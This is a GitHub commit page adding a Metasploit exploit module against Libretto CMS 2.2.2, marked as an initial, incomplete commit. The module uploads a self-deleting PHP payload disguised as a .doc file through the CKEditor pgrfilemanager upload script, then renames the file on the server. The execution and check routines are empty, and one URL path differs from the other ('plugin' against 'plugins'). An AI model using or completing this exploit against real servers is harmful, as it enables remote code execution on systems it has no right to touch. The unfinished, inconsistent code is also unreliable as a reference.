Skip to content

Commit 62b23bc

Browse files
committed
Initial (incomplete) commit
1 parent f91719b commit 62b23bc

File tree

1 file changed

+121
-0
lines changed

1 file changed

+121
-0
lines changed
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::PhpEXE
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Libretto CMS Arbitary File Upload Vulnerability",
19+
'Description' => %q{
20+
Whatever
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'CWH',
26+
'sinn3r' #Metasploit
27+
],
28+
'References' =>
29+
[
30+
['EDB', '26213']
31+
],
32+
'Payload' =>
33+
{
34+
'BadChars' => "\x00"
35+
},
36+
'Platform' => ['linux', 'php'],
37+
'Targets' =>
38+
[
39+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
40+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
41+
],
42+
'Privileged' => false,
43+
'DisclosureDate' => "Jun 17 2013",
44+
'DefaultTarget' => 0))
45+
46+
register_options(
47+
[
48+
OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
49+
], self.class)
50+
end
51+
52+
53+
def peer
54+
"#{rhost}:#{rport}"
55+
end
56+
57+
58+
def check
59+
end
60+
61+
62+
def upload(base)
63+
p = get_write_exec_payload(:unlink_self=>true)
64+
fname = "payload.php.doc"
65+
66+
data = Rex::MIME::Message.new
67+
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
68+
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
69+
data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
70+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
71+
72+
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
73+
74+
res = send_request_cgi({
75+
'method' => 'POST',
76+
'uri' => uri,
77+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
78+
'data' => post_data,
79+
'vars_get' => {'type'=>'all files'}
80+
})
81+
82+
return fname
83+
end
84+
85+
86+
def rename(base, original_fname)
87+
new_name = "BBBBBBBB.pdf"
88+
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugin', 'pgrfilemanager', 'php', 'files.php')
89+
res = send_request_cgi({
90+
'method' => 'POST',
91+
'uri' => uri,
92+
'vars_post' => {
93+
'fun' => 'renameFile',
94+
'dir' => '',
95+
'filename' => original_fname,
96+
'newFilename' => new_name
97+
}
98+
})
99+
100+
return new_name
101+
end
102+
103+
104+
def exec(base, payload_fname)
105+
106+
end
107+
108+
109+
def exploit
110+
base = target_uri.path
111+
112+
print_status("#{peer} - Uploading malicious file...")
113+
fname = upload(base)
114+
115+
print_status("#{peer} - Renaming #{fname}...")
116+
fname = rename(base, fname)
117+
118+
print_status("#{peer} - Executing #{fname}...")
119+
exec(base, fname)
120+
end
121+
end

0 commit comments

Comments
 (0)